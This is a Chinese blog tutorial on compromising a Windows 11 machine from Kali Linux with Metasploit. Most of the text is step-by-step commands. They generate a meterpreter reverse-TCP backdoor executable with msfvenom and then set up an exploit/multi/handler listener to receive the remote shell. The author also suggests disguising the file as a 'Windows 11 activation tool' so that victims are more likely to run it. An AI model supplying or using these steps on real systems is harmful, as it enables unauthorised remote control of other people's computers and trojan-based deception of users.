Kali Linux利用MSF渗透Windows11电脑

原创已于 2023-03-02 12:20:24 修改 · 7.9k 阅读

136 ·

CC 4.0 BY-SA版权

文章标签：

#linux #服务器

于 2023-03-02 12:18:59 首次发布

Kali Linux攻击专栏收录该内容

5 篇文章

订阅专栏

本文介绍了如何使用KaliLinux和MSFvenom工具对Windows11系统进行渗透测试。首先需进入Kali的Root模式，然后生成可执行的后门文件，设置本地IP和端口。接着，在msfconsole中配置相应模块和参数，确保靶机运行生成的文件后，即可获得远程控制的shell。

5.在靶机Windows11打开可执行文件

6.渗透

一、MSF简介

Msfvenom a Metasploit standalone payload generator，Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合，将这两个工具都放在一个Framework实例中。

渗透环境

使用Kali Linux进行演示操作

目标靶机：Windows11

软件：Msfvenom、Msfconsole(Kali Linux系统内置)

二、渗透流程

1.Kali Linux进入Root模式

不在Root模式下运行可能会出现操作者权限不够的提示，为了避免命令执行失败，第一步先将Kali进入Root管理员模式。执行命令之后输入Kali的密码时，密码是被隐藏的。

命令：sudo su

2.生成可执行文件

命令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=<本地ip> LPORT=<本地端口号> –f exe –o <文件名>.exe

<本地ip>写自己Kali Linux的IP地址，用ifconfig就能查看自己Kali的IP地址
<本地端口号>自己随便设置一个没有被占用的端口号，如果端口号被占用那么文件会生成失败，换一个端口号就性
文件名可以随便写自己喜欢的名字，比如写Windows11激活工具等可能更容易让目标主机上钩
当然MSF也可以用来渗透Android、Mac、CentOS等

这个就是Kali Linux主机的IP地址

接下来运行命令来生成可执行文件

把生成的可执行文件放入目标靶机Windows11中

3.运行msfconsole命令

命令：msfconsole

4.配置参数

(1)命令： use exploit/multi/handler（选择模块）
(2)命令： set payload windows/meterpreter/reverse_tcp（选择攻击模块）
(3)命令： set LhOST 192.168.88.134（填写自己主机的IP地址）
(4)命令： set lport 1234（填写刚才生成文件时的端口号）
(5)命令： show options（查看设置参数）
(6)命令： exploit -z -j（后台执行）